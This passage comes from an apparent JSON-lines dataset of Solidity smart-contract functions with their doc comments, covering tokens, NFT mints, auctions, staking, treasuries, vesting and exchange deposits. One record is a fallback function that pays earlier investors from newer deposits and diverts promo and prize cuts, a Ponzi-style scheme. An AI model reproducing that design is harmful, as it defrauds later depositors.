*\r\n * @param _from The address of the owner\r\n * @param _to The address of the recipient \r\n * @param _value The amount of tokens to be sent\r\n **/", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {\r\n require(allowances[_from][msg.sender] >= _value && _to != 0x0 && balances[_from] >= _value && _value > 0);\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n allowances[_from][msg.sender] = allowances[_from][msg.sender].sub(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Allows the owner of tokens to approve another to spend tokens on his or her behalf\r\n *\r\n * @param _spender The address which is being allowed to spend tokens on the owner' behalf\r\n * @param _value The amount of tokens to be sent\r\n **/", "function_code": "function approve(address _spender, uint256 _value) public returns (bool) {\r\n require(_spender != 0x0 && _value > 0);\r\n if(allowances[msg.sender][_spender] > 0 ) {\r\n allowances[msg.sender][_spender] = 0;\r\n }\r\n allowances[msg.sender][_spender] = _value;\r\n Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Setup new addresses", "function_code": "function setup(address carMechanicsAddress, address payable walletAddress) public onlyOwner returns (bool) {\r\n \r\n // Should not set zero address\r\n require(carMechanicsAddress != address(0), \"Should not set 0 address for car mechanics\");\r\n require(walletAddress != address(0), \"Should not set 0 address for wallet\");\r\n\r\n // Save\r\n _carMechanicsContract = CarMechanics(carMechanicsAddress);\r\n _wallet = walletAddress;\r\n }", "version": "0.6.2"} {"comment": "// Private function to keep tokens on auction array updated", "function_code": "function updateTokensOnAuction(uint256 tokenToRemove, uint256 tokenToAdd) internal {\r\n \r\n uint256 removeIndex = 0;\r\n\r\n // Find index for token to remove\r\n for (uint i = 0; i<_tokensOnAuction.length; i++) {\r\n if (_tokensOnAuction[i] == tokenToRemove) {\r\n removeIndex = i;\r\n }\r\n }\r\n \r\n // Set new token on index\r\n _tokensOnAuction[removeIndex] = tokenToAdd;\r\n\r\n // Event\r\n emit AuctionTokensChanged(tokenToRemove, tokenToAdd);\r\n }", "version": "0.6.2"} {"comment": "//\n// ******************* PRICE *******************\n//\n// Start price for car on auction", "function_code": "function carAuctionStartPrice(uint256 carId) public view returns(uint256) {\r\n\r\n // has auction started for this token?\r\n require(openAuctionForCar(carId) == true, \"Car not on auction\");\r\n\r\n uint256 decimalMultiplier = (uint256(10) ** uint256(18));\r\n\r\n // min_price + (token_id * 0.0001) \r\n return _minPrice.add(carId.mul(decimalMultiplier).div(100000)); \r\n }", "version": "0.6.2"} {"comment": "// Current car price on auction - Helper", "function_code": "function carAuctionCurrentPriceHelper(uint256 nowTime, uint256 carId) public view returns(uint256) {\r\n\r\n // has auction started for this token?\r\n require(openAuctionForCar(carId) == true, \"Car not on auction\");\r\n \r\n // Get start and end price of the auction\r\n uint256 startPrice = carAuctionStartPrice(carId);\r\n \r\n // Calculate price reduction\r\n uint256 priceReductionPerSecond = carPriceReductionPerSecond(carId);\r\n \r\n // Calculate seconds the auction has been running\r\n uint256 carAuctionStartTime = _tokenAuctionStart[carId];\r\n uint256 secondsPassedInAuction = nowTime.sub(carAuctionStartTime);\r\n\r\n uint256 calculatedPrice = startPrice.sub(secondsPassedInAuction.mul(priceReductionPerSecond));\r\n\r\n if (calculatedPrice < _minPrice) {\r\n // Return minimum price\r\n return _minPrice;\r\n }\r\n \r\n // Return current price\r\n return calculatedPrice;\r\n }", "version": "0.6.2"} {"comment": "// Private helper function", "function_code": "function carPriceReductionPerSecond(uint256 carId) internal view returns(uint256) {\r\n\r\n // has auction started for this token?\r\n require(openAuctionForCar(carId) == true, \"Car not on auction\");\r\n\r\n // Get start and end price of the auction\r\n uint256 startPrice = carAuctionStartPrice(carId);\r\n uint256 endPrice = _minPrice; \r\n \r\n // Calculate price reduction\r\n uint256 priceReductionPerSecond = startPrice.sub(endPrice).div(_timePerAuction);\r\n\r\n return priceReductionPerSecond;\r\n }", "version": "0.6.2"} {"comment": "//This notifies clients about the amount burnt\n//Constructor function", "function_code": "function YourMomToken(string tokenName, string tokenSymbol, uint256 initialSupplyInEther) public {\r\n\t\tname = tokenName;\t\t\t\t\t\t\t\t//Set the name for display purposes\r\n\t\tsymbol = tokenSymbol;\t\t\t\t\t\t\t//Set the symbol for display purposes\r\n\t\tdecimals = 18;\t\t\t\t\t\t\t\t\t//Amount of decimals for display purposes\r\n\t\ttotalSupply = initialSupplyInEther * 10**18;\t//Defines the initial supply as the total supply (in wei)\r\n\t\tbalanceOf[msg.sender] = totalSupply;\t\t\t//Give the creator all initial tokens\r\n\t}", "version": "0.4.18"} {"comment": "// Deposit LP tokens to MasterUniverse for NOVA allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) external {\r\n require(_pid < poolLength(), \"bad pid\");\r\n require(_amount > 0, \"amount could'n be 0\");\r\n require(_amount >= 0.1 ether, \"amount could'n be lower than 0.1 LP token\");\r\n\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n\r\n updatePool(_pid);\r\n\r\n if (user.amount == 0) {\r\n user.lastStakedTime = block.timestamp; \r\n }\r\n\r\n // they already staked so let's harvest\r\n if (user.amount > 0) {\r\n uint256 pending = user.plasmaPower.mul(pool.accNovaPerShare).div(1e12).sub(user.rewardDebt);\r\n if (pending > 0) {\r\n uint feesPercentage = calculateFeesPercentage(_pid, msg.sender);\r\n uint256 fees = pending.mul(feesPercentage).div(100);\r\n uint256 gain = pending.sub(fees);\r\n safeNovaTransfer(devaddr, fees);\r\n safeNovaTransfer(msg.sender, gain);\r\n }\r\n }\r\n\r\n if (_amount > 0) {\r\n pool.lpToken.safeTransferFrom(address(msg.sender),address(this),_amount);\r\n user.amount = user.amount.add(_amount);\r\n user.buffRate = calculateBuffRate(user.amount);\r\n uint prevPlasmaPower = user.plasmaPower;\r\n user.plasmaPower = user.amount.mul(user.buffRate);\r\n pool.totalPlasmaPower = pool.totalPlasmaPower.sub(prevPlasmaPower).add(user.plasmaPower);\r\n }\r\n\r\n user.rewardDebt = user.plasmaPower.mul(pool.accNovaPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.7.0"} {"comment": "// Pixels are represented using 4-bits. We pack 2 pixels into one byte like so:\n// [left_pixel|right_pixel]\n// To set these bytes, we use bitwise operations to change either the upper or\n// lower half of a packed byte.\n// [index] is the index of the pixel; not the byte\n// [color] is a 4-bit integer; the upper 4 bits of the uint8 are discarded.", "function_code": "function set(uint32 index, uint8 color) public payable {\r\n require(index < 1000000);\r\n require(msg.value >= feeWei);\r\n\r\n uint32 packedByteIndex = index / 2;\r\n byte currentByte = packedBytes[packedByteIndex];\r\n bool left = index % 2 == 0;\r\n\r\n byte newByte;\r\n if (left) {\r\n // clear upper 4 bits of existing byte\r\n // OR with new byte shifted left 4 bits\r\n newByte = (currentByte & hex'0f') | bytes1(color * 2 ** 4);\r\n } else {\r\n // clear lower 4 bits of existing byte\r\n // OR with with new color, with upper 4 bits cleared\r\n newByte = (currentByte & hex'f0') | (bytes1(color) & hex'0f');\r\n }\r\n\r\n packedBytes[packedByteIndex] = newByte;\r\n PixelUpdate(index, color);\r\n }", "version": "0.4.19"} {"comment": "/**\r\n @notice allow approved address to deposit an asset for KEEPER\r\n @param _amount uint\r\n @param _token address\r\n @param _profit uint\r\n @return send_ uint\r\n */", "function_code": "function deposit( uint _amount, address _token, uint _profit ) external returns ( uint send_ ) {\r\n require( isReserveToken[ _token ] || isLiquidityToken[ _token ], \"Not accepted\" );\r\n IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount );\r\n\r\n if ( isReserveToken[ _token ] ) {\r\n require( isReserveDepositor[ msg.sender ], \"Not approved\" );\r\n } else {\r\n require( isLiquidityDepositor[ msg.sender ], \"Not approved\" );\r\n }\r\n\r\n uint value = valueOfToken(_token, _amount);\r\n // mint KEEPER needed and store amount of rewards for distribution\r\n send_ = value.sub( _profit );\r\n KEEPER.mint( msg.sender, send_ );\r\n\r\n totalReserves = totalReserves.add( value );\r\n emit ReservesUpdated( totalReserves );\r\n emit Deposit( _token, _amount, value );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice allow approved address to burn KEEPER for reserves\r\n @param _amount uint\r\n @param _token address\r\n */", "function_code": "function withdraw( uint _amount, address _token ) external {\r\n require( isReserveToken[ _token ], \"Not accepted\" ); // Only reserves can be used for redemptions\r\n require( isReserveSpender[ msg.sender ] == true, \"Not approved\" );\r\n\r\n uint value = valueOfToken( _token, _amount );\r\n KEEPER.burnFrom( msg.sender, value );\r\n\r\n totalReserves = totalReserves.sub( value );\r\n emit ReservesUpdated( totalReserves );\r\n\r\n IERC20Extended( _token ).safeTransfer( msg.sender, _amount );\r\n\r\n emit Withdrawal( _token, _amount, value );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice allow approved address to repay borrowed reserves with KEEPER\r\n @param _amount uint\r\n */", "function_code": "function repayDebtWithKEEPER( uint _amount ) external {\r\n require( isDebtor[ msg.sender ], \"Not approved\" );\r\n KEEPER.burnFrom( msg.sender, _amount );\r\n debtorBalance[ msg.sender ] = debtorBalance[ msg.sender ].sub( _amount );\r\n totalDebt = totalDebt.sub( _amount );\r\n emit RepayDebt( msg.sender, address(KEEPER), _amount, _amount );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice returns KEEPER valuation of asset\r\n @param _token address\r\n @param _amount uint\r\n @return value_ uint\r\n */", "function_code": "function valueOfToken( address _token, uint _amount ) public view returns ( uint value_ ) {\r\n if ( isReserveToken[ _token ] ) {\r\n // convert amount to match KEEPER decimals\r\n value_ = _amount.mul( 10 ** keeperDecimals ).div( 10 ** IERC20Extended( _token ).decimals() );\r\n } else if ( isLiquidityToken[ _token ] ) {\r\n value_ = IBondCalculator( bondCalculator[ _token ] ).valuation( _token, _amount );\r\n }\r\n }", "version": "0.7.5"} {"comment": "// Emergency function call", "function_code": "function execute(address _target, bytes memory _data)\r\n public\r\n payable\r\n returns (bytes memory response)\r\n {\r\n require(msg.sender == timelock, \"!timelock\");\r\n\r\n require(_target != address(0), \"!target\");\r\n\r\n // call contract in current context\r\n assembly {\r\n let succeeded := delegatecall(\r\n sub(gas(), 5000),\r\n _target,\r\n add(_data, 0x20),\r\n mload(_data),\r\n 0,\r\n 0\r\n )\r\n let size := returndatasize()\r\n\r\n response := mload(0x40)\r\n mstore(\r\n 0x40,\r\n add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))\r\n )\r\n mstore(response, size)\r\n returndatacopy(add(response, 0x20), 0, size)\r\n\r\n switch iszero(succeeded)\r\n case 1 {\r\n // throw if delegatecall failed\r\n revert(add(response, 0x20), size)\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice This function is only callable after the curve contract has been\r\n * initialized.\r\n * @param _amount The amount of tokens a user wants to buy\r\n * @return uint256 The cost to buy the _amount of tokens in ETH\r\n */", "function_code": "function buyPrice(uint256 _amount)\r\n public\r\n view\r\n isCurveActive()\r\n returns (uint256)\r\n {\r\n // Getting the current DAI cost for token amount\r\n uint256 daiCost = curve_.buyPrice(_amount);\r\n // Returning the required ETH to buy DAI amount\r\n return router_.getAmountsIn(\r\n daiCost, \r\n getPath(true)\r\n )[0];\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @notice This function is only callable after the curve contract has been\r\n * initialized.\r\n * @param _amount The amount of tokens a user wants to sell\r\n * @return uint256 The reward for selling the _amount of tokens in ETH\r\n */", "function_code": "function sellReward(uint256 _amount)\r\n public\r\n view\r\n isCurveActive()\r\n returns (uint256)\r\n {\r\n // Getting the current DAI reward for token amount\r\n uint256 daiReward = curve_.sellReward(_amount);\r\n // Returning the ETH reward for token sale\r\n return router_.getAmountsIn(\r\n daiReward, \r\n getPath(true)\r\n )[0];\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @param _buy If the path is for a buy or sell transaction\r\n * @return address[] The path for the transaction\r\n */", "function_code": "function getPath(bool _buy) public view returns(address[] memory) {\r\n address[] memory buyPath = new address[](2);\r\n if(_buy) {\r\n buyPath[0] = router_.WETH();\r\n buyPath[1] = address(dai_);\r\n } else {\r\n buyPath[0] = address(dai_);\r\n buyPath[1] = router_.WETH();\r\n }\r\n \r\n return buyPath;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @param _tokenAmount The amount of BZZ tokens the user would like to\r\n * buy from the curve.\r\n * @param _maxDaiSpendAmount The max amount of collateral (DAI) the user\r\n * is willing to spend to buy the amount of tokens.\r\n * @param _deadline Unix timestamp after which the transaction will \r\n * revert. - Taken from Uniswap documentation: \r\n * https://uniswap.org/docs/v2/smart-contracts/router02/#swapethforexacttokens\r\n * @return bool If the transaction completed successfully.\r\n * @notice Before this function is called the caller does not need to\r\n * approve the spending of anything. Please assure that the amount\r\n * of ETH sent with this transaction is sufficient by first calling\r\n * `buyPrice` with the same token amount. Add your % slippage to\r\n * the max dai spend amount (you can get the expected amount by \r\n * calling `buyPrice` on the curve contract).\r\n */", "function_code": "function mint(\r\n uint256 _tokenAmount, \r\n uint256 _maxDaiSpendAmount, \r\n uint _deadline\r\n )\r\n external\r\n payable\r\n isCurveActive()\r\n mutex()\r\n returns (bool)\r\n {\r\n (uint256 daiNeeded, uint256 ethReceived) = _commonMint(\r\n _tokenAmount,\r\n _maxDaiSpendAmount,\r\n _deadline,\r\n msg.sender\r\n );\r\n // Emitting event with all important info\r\n emit mintTokensWithEth(\r\n msg.sender, \r\n _tokenAmount, \r\n daiNeeded, \r\n ethReceived, \r\n _maxDaiSpendAmount\r\n );\r\n // Returning that the mint executed successfully\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n @notice allow depositing an asset for KEEPER\r\n @param _amount uint\r\n @param _token address\r\n @return send_ uint\r\n */", "function_code": "function deposit( uint _amount, address _token, bool _stake ) external returns ( uint send_ ) {\r\n require( isReserveToken[ _token ] || isLiquidityToken[ _token ] || isVariableToken[ _token ], \"Not accepted\" );\r\n IERC20Extended( _token ).safeTransferFrom( msg.sender, address(this), _amount );\r\n\r\n // uint daoAmount = _amount.mul(daoRatio).div(1e4);\r\n // IERC20Extended( _token ).safeTransfer( DAO, daoAmount );\r\n \r\n uint value = valueOfToken(_token, _amount);\r\n // uint daoValue = value.mul(daoRatio).div(1e4);\r\n // mint KEEPER needed and store amount of rewards for distribution\r\n\r\n totalReserves = totalReserves.add( value );\r\n send_ = sendOrStake(msg.sender, value, _stake);\r\n\r\n emit ReservesUpdated( totalReserves );\r\n emit Deposit( _token, _amount, value );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice allow owner multisig to withdraw assets on debt (for safe investments)\r\n @param _token address\r\n @param _amount uint\r\n */", "function_code": "function incurDebt( address _token, uint _amount, bool isEth ) external onlyOwner() {\r\n uint value;\r\n if ( _token == address(0) && isEth ) {\r\n safeTransferETH(msg.sender, _amount);\r\n value = EthToUSD( _amount );\r\n } else {\r\n IERC20Extended( _token ).safeTransfer( msg.sender, _amount );\r\n value = valueOfToken(_token, _amount);\r\n }\r\n totalReserves = totalReserves.sub( value );\r\n ownerDebt = ownerDebt.add(value);\r\n emit ReservesUpdated( totalReserves );\r\n emit ReservesWithdrawn( msg.sender, _token, _amount );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice verify queue then set boolean in mapping\r\n @param _managing MANAGING\r\n @param _address address\r\n @param _calculatorFeed address\r\n @return bool\r\n */", "function_code": "function toggle( MANAGING _managing, address _address, address _calculatorFeed, uint decimals ) external onlyOwner() returns ( bool ) {\r\n require( _address != address(0) );\r\n bool result;\r\n if ( _managing == MANAGING.RESERVETOKEN ) { // 0\r\n if( !listContains( reserveTokens, _address ) ) {\r\n reserveTokens.push( _address );\r\n }\r\n result = !isReserveToken[ _address ];\r\n isReserveToken[ _address ] = result;\r\n\r\n } else if ( _managing == MANAGING.LIQUIDITYTOKEN ) { // 1\r\n if( !listContains( liquidityTokens, _address ) ) {\r\n liquidityTokens.push( _address );\r\n }\r\n result = !isLiquidityToken[ _address ];\r\n isLiquidityToken[ _address ] = result;\r\n lpCalculator[ _address ] = _calculatorFeed;\r\n\r\n } else if ( _managing == MANAGING.VARIABLETOKEN ) { // 2\r\n if( !listContains( variableTokens, _address ) ) {\r\n variableTokens.push( _address );\r\n }\r\n result = !isVariableToken[ _address ];\r\n isVariableToken[ _address ] = result;\r\n priceFeeds[ _address ] = PriceFeed({\r\n feed: _calculatorFeed,\r\n decimals: decimals\r\n });\r\n\r\n } else return false;\r\n\r\n emit ChangeActivated( _managing, _address, result );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\n * Reserve DogePound Christmas by owner\n */", "function_code": "function reserveDPC(address to, uint256 count)\n external\n onlyOwner\n {\n require(to != address(0), \"Invalid address to reserve.\");\n if (mintLimit) {\n uint256 mintCount = currentMintCount - claimCount;\n require(mintCount.add(count) <= MAX_DPC_SUPPLY.sub(whitelistCount), \"Exceeds mintable count.\" );\n }\n require(currentMintCount.add(count) <= MAX_DPC_SUPPLY, \"Reserve would exceed max supply\");\n \n for (uint256 i = 0; i < count; i++) {\n _safeMint(to, currentMintCount + i);\n }\n\n currentMintCount = currentMintCount.add(count);\n }", "version": "0.8.0"} {"comment": "/**\n * Mint DogePound Christmas\n */", "function_code": "function mintDPC(uint256 count)\n external\n payable\n {\n require(isSale, \"Sale must be active to mint\");\n if (mintLimit) {\n uint256 mintCount = currentMintCount - claimCount;\n require(mintCount.add(count) <= MAX_DPC_SUPPLY.sub(whitelistCount), \"Exceeds mintable count.\" );\n }\n require(count <= maxMintAmountPerTX, \"Invalid amount to mint per tx\");\n require(currentMintCount.add(count) <= MAX_DPC_SUPPLY, \"Purchase would exceed max supply\");\n require(mintPrice.mul(count) <= msg.value, \"Ether value sent is not correct\");\n \n for(uint256 i = 0; i < count; i++) {\n _safeMint(msg.sender, currentMintCount + i);\n }\n\n currentMintCount = currentMintCount.add(count);\n }", "version": "0.8.0"} {"comment": "/**\n * Claim for whitelist user\n */", "function_code": "function claimDPC(uint256 count, uint256 maxCount, uint8 v, bytes32 r, bytes32 s) external {\n require(isSale, \"Sale must be active to mint\");\n require(tx.origin == msg.sender, \"Only EOA\");\n require(currentMintCount.add(count) <= MAX_DPC_SUPPLY, \"Exceed max supply\");\n\n bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(CONTRACT_NAME)), getChainId(), address(this)));\n bytes32 structHash = keccak256(abi.encode(CLAIM_TYPEHASH, msg.sender, count, maxCount));\n bytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n address signatory = ecrecover(digest, v, r, s);\n require(signatory == admin, \"Invalid signatory\");\n\n require(whitelistClaim[msg.sender].add(count) <= maxCount, \"Exceed max claimable count\");\n\n for(uint256 i = 0; i < count; i++) {\n _safeMint(msg.sender, currentMintCount + i);\n }\n\n currentMintCount = currentMintCount.add(count);\n claimCount = claimCount.add(count);\n whitelistClaim[msg.sender] = whitelistClaim[msg.sender].add(count);\n }", "version": "0.8.0"} {"comment": "// Total invested amount\n//This function receives all the deposits\n//stores them and make immediate payouts", "function_code": "function () public payable {\r\n \r\n require(block.number >= 6655835);\r\n\r\n if(msg.value > 0){\r\n\r\n require(gasleft() >= 250000); // We need gas to process queue\r\n require(msg.value >= 0.05 ether && msg.value <= 10 ether); // Too small and too big deposits are not accepted\r\n \r\n // Add the investor into the queue\r\n queue.push( Deposit(msg.sender, msg.value, 0) );\r\n depositNumber[msg.sender] = queue.length;\r\n\r\n totalInvested += msg.value;\r\n\r\n //Send some promo to enable queue contracts to leave long-long time\r\n uint promo = msg.value*PROMO_PERCENT/100;\r\n PROMO.send(promo);\r\n uint prize = msg.value*BONUS_PERCENT/100;\r\n PRIZE.send(prize);\r\n \r\n // Pay to first investors in line\r\n pay();\r\n\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\n * Checks if the provided signatures suffice to sign the transaction and if the nonce is correct.\n */", "function_code": "function checkSignatures(uint128 nonce, address to, uint value, bytes calldata data,\n uint8[] calldata v, bytes32[] calldata r, bytes32[] calldata s) external view returns (address[] memory) {\n bytes32 transactionHash = calculateTransactionHash(nonce, contractId, to, value, data);\n return verifySignatures(transactionHash, v, r, s);\n }", "version": "0.8.7"} {"comment": "// Note: does not work with contract creation", "function_code": "function calculateTransactionHash(uint128 sequence, bytes memory id, address to, uint value, bytes calldata data)\n internal view returns (bytes32){\n bytes[] memory all = new bytes[](9);\n all[0] = toBytes(sequence); // sequence number instead of nonce\n all[1] = id; // contract id instead of gas price\n all[2] = toBytes(21000); // gas limit\n all[3] = abi.encodePacked(to);\n all[4] = toBytes(value);\n all[5] = data;\n all[6] = toBytes(block.chainid);\n all[7] = toBytes(0);\n for (uint i = 0; i<8; i++){\n all[i] = RLPEncode.encodeBytes(all[i]);\n }\n all[8] = all[7];\n return keccak256(RLPEncode.encodeList(all));\n }", "version": "0.8.7"} {"comment": "/**\r\n * Allows the Lock owner to give a collection of users a key with no charge.\r\n * Each key may be assigned a different expiration date.\r\n */", "function_code": "function grantKeys(\r\n address[] calldata _recipients,\r\n uint[] calldata _expirationTimestamps,\r\n address[] calldata _keyManagers\r\n ) external\r\n onlyKeyGranterOrManager\r\n {\r\n for(uint i = 0; i < _recipients.length; i++) {\r\n address recipient = _recipients[i];\r\n uint expirationTimestamp = _expirationTimestamps[i];\r\n address keyManager = _keyManagers[i];\r\n\r\n require(recipient != address(0), 'INVALID_ADDRESS');\r\n\r\n Key storage toKey = keyByOwner[recipient];\r\n require(expirationTimestamp > toKey.expirationTimestamp, 'ALREADY_OWNS_KEY');\r\n\r\n uint idTo = toKey.tokenId;\r\n\r\n if(idTo == 0) {\r\n _assignNewTokenId(toKey);\r\n idTo = toKey.tokenId;\r\n _recordOwner(recipient, idTo);\r\n }\r\n // Set the key Manager\r\n _setKeyManagerOf(idTo, keyManager);\r\n emit KeyManagerChanged(idTo, keyManager);\r\n\r\n toKey.expirationTimestamp = expirationTimestamp;\r\n // trigger event\r\n emit Transfer(\r\n address(0), // This is a creation.\r\n recipient,\r\n idTo\r\n );\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev add private users and assign amount to claim. Before calling,\n * ensure that contract balance is more or equal than total token payout\n * @param _user An array of users' addreses.\n * @param _amount An array of amount values to be assigned to users respectively.\n */", "function_code": "function addPrivateUser(address[] memory _user, uint256[] memory _amount)\n public\n onlyOwner\n {\n for (uint256 i = 0; i < _user.length; i++) {\n require(_amount[i] != 0, \"Vesting: some amount is zero\");\n\n if (users[_user[i]].accumulated != 0) {\n totalTokensToPay -= users[_user[i]].accumulated;\n }\n\n users[_user[i]].accumulated = _amount[i];\n totalTokensToPay += _amount[i];\n }\n\n // solhint-disable-next-line reason-string\n require(\n totalTokensToPay - totalTokensPaid <=\n token.balanceOf(address(this)),\n \"Vesting: total tokens to pay exceed balance\"\n );\n\n emit UsersBatchAdded(_user, _amount);\n }", "version": "0.8.11"} {"comment": "/**\n * @dev Start vesting countdown. Can only be called by contract owner.\n */", "function_code": "function startCountdown(address[] memory _users) external onlyOwner {\n uint256 startTime = block.timestamp + (MONTH * CLIFF_MONTHS);\n uint256 endTime = startTime + vestingPeriod;\n\n for (uint256 index = 0; index < _users.length; index++) {\n UserInfo storage userInfo = users[_users[index]];\n\n require(\n !userInfo.isStarted,\n \"Vesting: countdown is already started\"\n );\n require(\n users[_users[index]].accumulated != 0,\n \"Vesting: unknown user\"\n );\n\n userInfo.vestingStartTime = startTime;\n\n userInfo.vestingEndTime = endTime;\n userInfo.isStarted = true;\n }\n\n emit CountdownStarted(startTime, endTime, _users);\n }", "version": "0.8.11"} {"comment": "/**\n * @dev Claims available tokens from the contract.\n */", "function_code": "function claimToken() external nonReentrant {\n UserInfo storage userInfo = users[msg.sender];\n\n require(\n (userInfo.accumulated - userInfo.paidOut) > 0,\n \"Vesting: not enough tokens to claim\"\n );\n\n uint256 availableAmount = calcAvailableToken(\n userInfo.accumulated,\n userInfo.vestingStartTime,\n userInfo.vestingEndTime,\n userInfo.isStarted\n );\n availableAmount -= userInfo.paidOut;\n\n userInfo.paidOut += availableAmount;\n\n totalTokensPaid += availableAmount;\n\n token.safeTransfer(msg.sender, availableAmount);\n\n emit TokensClaimed(msg.sender, availableAmount);\n }", "version": "0.8.11"} {"comment": "/**\n * @dev calcAvailableToken - calculate available tokens\n * @param _amount An input amount used to calculate vesting's output value.\n * @return availableAmount_ An amount available to claim.\n */", "function_code": "function calcAvailableToken(\n uint256 _amount,\n uint256 vestingStartTime,\n uint256 vestingEndTime,\n bool isStarted\n ) private view returns (uint256 availableAmount_) {\n // solhint-disable-next-line not-rely-on-time\n if (!isStarted || block.timestamp <= vestingStartTime) {\n return 0;\n }\n\n // solhint-disable-next-line not-rely-on-time\n if (block.timestamp > vestingEndTime) {\n return _amount;\n }\n\n return\n (_amount *\n // solhint-disable-next-line not-rely-on-time\n (block.timestamp - vestingStartTime)) / vestingPeriod;\n }", "version": "0.8.11"} {"comment": "/**\r\n * Add a registrant, only registrar allowed\r\n * public_function\r\n * @param _registrant - The registrant address.\r\n * @param _data - The registrant data string.\r\n */", "function_code": "function add(address _registrant, bytes _data) isRegistrar noEther returns (bool) {\r\n if (registrantIndex[_registrant] > 0) {\r\n Error(2); // Duplicate registrant\r\n return false;\r\n }\r\n uint pos = registrants.length++;\r\n registrants[pos] = Registrant(_registrant, _data, true);\r\n registrantIndex[_registrant] = pos;\r\n Created(_registrant, msg.sender, _data);\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "/**\r\n * Edit a registrant, only registrar allowed\r\n * public_function\r\n * @param _registrant - The registrant address.\r\n * @param _data - The registrant data string.\r\n */", "function_code": "function edit(address _registrant, bytes _data, bool _active) isRegistrar noEther returns (bool) {\r\n if (registrantIndex[_registrant] == 0) {\r\n Error(3); // No such registrant\r\n return false;\r\n }\r\n Registrant registrant = registrants[registrantIndex[_registrant]];\r\n registrant.data = _data;\r\n registrant.active = _active;\r\n Updated(_registrant, msg.sender, _data, _active);\r\n return true;\r\n }", "version": "0.4.10"} {"comment": "// This function is executed when a ERC721 is received via safeTransferFrom. This function is purposely strict to ensure \n// the NFTs in this contract are all valid.", "function_code": "function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4) {\r\n // Only accept NFTs through this function if they're being funneled.\r\n require(msg.sender == WAIFUSION, \"WaifuDungeon: NFT not from waifusion\");\r\n require(operator == address(this), \"WaifuDungeon: invalid operator\");\r\n require(tokenId <= MAX_NFT_SUPPLY, \"WaifuDungeon: over max waifus\");\r\n waifusInDungeon[waifuCount] = Waifu(WAIFUSION, uint64(tokenId));\r\n waifuCount++;\r\n return _ERC721_RECEIVED;\r\n }", "version": "0.8.2"} {"comment": "// This function commits that the sender will purchase a waifu within the next 255 blocks.\n// If they fail to revealWaifus() within that timeframe. The money they sent is forfeited to reduce complexity.", "function_code": "function commitBuyWaifus(uint256 num) external payable {\r\n require(msg.value == num * buyCost, \"WaifuDungeon: invalid ether to buy\");\r\n require(num <= 20, \"WaifuDungeon: swapping too many\");\r\n require(num <= waifuCount, \"WaifuDungeon: not enough waifus in dungeon\");\r\n _commitRandomWaifus(num);\r\n }", "version": "0.8.2"} {"comment": "// Changes the fees", "function_code": "function setFees(uint256 makerFee_, uint256 takerFee_) onlyOwner {\r\n require(makerFee_ < 10 finney && takerFee_ < 10 finney); // The fees cannot be set higher then 1%\r\n makerFee = makerFee_;\r\n takerFee = takerFee_;\r\n\r\n emit FeeChange(makerFee, takerFee);\r\n }", "version": "0.4.25"} {"comment": "// Deposit ETH to contract", "function_code": "function deposit() payable {\r\n //tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value); // adds the deposited amount to user balance\r\n addBalance(address(0), msg.sender, msg.value); // adds the deposited amount to user balance\r\n if (userFirstDeposits[msg.sender] == 0) userFirstDeposits[msg.sender] = block.number;\r\n lastActiveTransaction[msg.sender] = block.number; // sets the last activity block for the user\r\n emit Deposit(address(0), msg.sender, msg.value, balanceOf(address(0), msg.sender)); // fires the deposit event\r\n }", "version": "0.4.25"} {"comment": "// Deposit ETH to contract for a user", "function_code": "function depositForUser(address user) payable {\r\n //tokens[address(0)][msg.sender] = safeAdd(tokens[address(0)][msg.sender], msg.value); // adds the deposited amount to user balance\r\n addBalance(address(0), user, msg.value); // adds the deposited amount to user balance\r\n if (userFirstDeposits[user] == 0) userFirstDeposits[user] = block.number;\r\n lastActiveTransaction[user] = block.number; // sets the last activity block for the user\r\n emit Deposit(address(0), user, msg.value, balanceOf(address(0), user)); // fires the deposit event\r\n }", "version": "0.4.25"} {"comment": "// Deposit token to contract", "function_code": "function depositToken(address token, uint128 amount) {\r\n //tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); // adds the deposited amount to user balance\r\n //if (amount != uint128(amount) || safeAdd(amount, balanceOf(token, msg.sender)) != uint128(amount)) throw;\r\n addBalance(token, msg.sender, amount); // adds the deposited amount to user balance\r\n\r\n if (userFirstDeposits[msg.sender] == 0) userFirstDeposits[msg.sender] = block.number;\r\n lastActiveTransaction[msg.sender] = block.number; // sets the last activity block for the user\r\n if (!Token(token).transferFrom(msg.sender, this, amount)) throw; // attempts to transfer the token to this contract, if fails throws an error\r\n emit Deposit(token, msg.sender, amount, balanceOf(token, msg.sender)); // fires the deposit event\r\n }", "version": "0.4.25"} {"comment": "// Deposit token to contract for a user", "function_code": "function depositToken(address token, uint128 amount, address user) {\r\n //tokens[token][msg.sender] = safeAdd(tokens[token][msg.sender], amount); // adds the deposited amount to user balance\r\n //if (amount != uint128(amount) || 